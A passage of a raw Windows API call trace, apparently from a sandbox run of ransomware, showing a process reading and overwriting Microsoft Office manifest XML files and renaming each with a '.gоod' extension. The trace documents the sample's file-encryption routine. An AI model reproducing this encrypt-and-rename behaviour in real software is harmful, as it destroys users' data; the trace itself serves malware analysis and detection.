nFileSizeLow=0x63be)) returned 1 [0185.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0185.269] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml.gоod")) returned 1 [0185.270] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0185.270] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), fInfoLevelId=0x0, lpFileInformation=0x3802650 | out: lpFileInformation=0x3802650*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36eafd9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36eafd9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee)) returned 1 [0185.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0185.271] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.271] GetFileType (hFile=0x81c) returned 0x1 [0185.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.271] GetFileType (hFile=0x81c) returned 0x1 [0185.271] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0185.272] ReadFile (in: hFile=0x81c, lpBuffer=0x3802b38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3802b38*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0185.462] CloseHandle (hObject=0x81c) returned 1 [0185.462] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.462] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.462] GetFileType (hFile=0x81c) returned 0x1 [0185.462] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.462] GetFileType (hFile=0x81c) returned 0x1 [0185.462] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x5fee [0185.462] WriteFile (in: hFile=0x81c, lpBuffer=0x372f1b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x372f1b8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0185.463] CloseHandle (hObject=0x81c) returned 1 [0185.463] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.464] GetFileType (hFile=0x81c) returned 0x1 [0185.464] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.464] GetFileType (hFile=0x81c) returned 0x1 [0185.464] ReadFile (in: hFile=0x81c, lpBuffer=0x37314e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x37314e0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0185.492] CloseHandle (hObject=0x81c) returned 1 [0185.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.492] GetFileType (hFile=0x81c) returned 0x1 [0185.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.492] GetFileType (hFile=0x81c) returned 0x1 [0185.492] WriteFile (in: hFile=0x81c, lpBuffer=0x37301d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x37301d0*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0185.492] CloseHandle (hObject=0x81c) returned 1 [0185.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml", lpFilePart=0x0) returned 0x5d [0185.492] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod", lpFilePart=0x0) returned 0x62 [0185.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0185.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36eafd9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36eafd9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6ac665b7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ffe)) returned 1 [0185.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0185.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.es-es.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.es-es.xml.gоod")) returned 1 [0185.493] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0185.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0185.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), fInfoLevelId=0x0, lpFileInformation=0x37ae9f8 | out: lpFileInformation=0x37ae9f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd38424c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd38424c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee)) returned 1 [0185.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0185.494] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0185.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.494] GetFileType (hFile=0x81c) returned 0x1 [0185.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.494] GetFileType (hFile=0x81c) returned 0x1 [0185.494] SetFilePointer (in: hFile=0x81c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0185.494] ReadFile (in: hFile=0x81c, lpBuffer=0x37aeee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x37aeee0*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0185.964] CloseHandle (hObject=0x81c) returned 1 [0185.966] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0185.966] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.967] GetFileType (hFile=0x81c) returned 0x1 [0185.967] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.967] GetFileType (hFile=0x81c) returned 0x1 [0185.967] SetFilePointer (in: hFile=0x81c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x5fee [0185.984] WriteFile (in: hFile=0x81c, lpBuffer=0x383a748*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x383a748*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0185.985] CloseHandle (hObject=0x81c) returned 1 [0185.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0185.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0185.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0185.986] GetFileType (hFile=0x81c) returned 0x1 [0185.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0185.986] GetFileType (hFile=0x81c) returned 0x1 [0185.986] ReadFile (in: hFile=0x81c, lpBuffer=0x383ca70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x383ca70*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0186.013] CloseHandle (hObject=0x81c) returned 1 [0186.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0186.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0186.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.014] GetFileType (hFile=0x81c) returned 0x1 [0186.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0186.014] GetFileType (hFile=0x81c) returned 0x1 [0186.014] WriteFile (in: hFile=0x81c, lpBuffer=0x383b760*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x383b760*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0186.014] CloseHandle (hObject=0x81c) returned 1 [0186.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml", lpFilePart=0x0) returned 0x5d [0186.014] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod", lpFilePart=0x0) returned 0x62 [0186.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0186.014] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd38424c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd38424c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6b1515df, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5ffe)) returned 1 [0186.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0186.014] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.fr-fr.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.fr-fr.xml.gоod")) returned 1 [0186.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0186.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0186.016] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x38b8fb8 | out: lpFileInformation=0x38b8fb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa)) returned 1 [0186.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0186.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0186.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0186.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.016] GetFileType (hFile=0x81c) returned 0x1 [0186.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0186.016] GetFileType (hFile=0x81c) returned 0x1 [0186.016] GetFileSize (in: hFile=0x81c, lpFileSizeHigh=0x1fbee3e8 | out: lpFileSizeHigh=0x1fbee3e8*=0x0) returned 0x7fa [0186.016] ReadFile (in: hFile=0x81c, lpBuffer=0x38b9b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee318, lpOverlapped=0x0 | out: lpBuffer=0x38b9b10*, lpNumberOfBytesRead=0x1fbee318*=0x7fa, lpOverlapped=0x0) returned 1 [0186.157] CloseHandle (hObject=0x81c) returned 1 [0186.184] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0186.184] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee240) returned 1 [0186.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x81c [0186.186] GetFileType (hFile=0x81c) returned 0x1 [0186.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee1b0) returned 1 [0186.186] GetFileType (hFile=0x81c) returned 0x1 [0186.186] WriteFile (in: hFile=0x81c, lpBuffer=0x36d1328*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x1fbee228, lpOverlapped=0x0 | out: lpBuffer=0x36d1328*, lpNumberOfBytesWritten=0x1fbee228*=0x800, lpOverlapped=0x0) returned 1 [0186.187] CloseHandle (hObject=0x81c) returned 1 [0186.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml", lpFilePart=0x0) returned 0x58 [0186.187] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5d [0186.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0186.187] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6b2f4e08, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x800)) returned 1 [0186.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0186.187] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.proofing.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proofing.msi.16.en-us.xml.gоod")) returned 1 [0186.188] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0186.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0186.188] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.publisher.publisher.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x36d2630 | out: lpFileInformation=0x36d2630*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd295b9b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd295b9b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a)) returned 1 [0186.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0186.189] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x6b [0186.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0186.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft 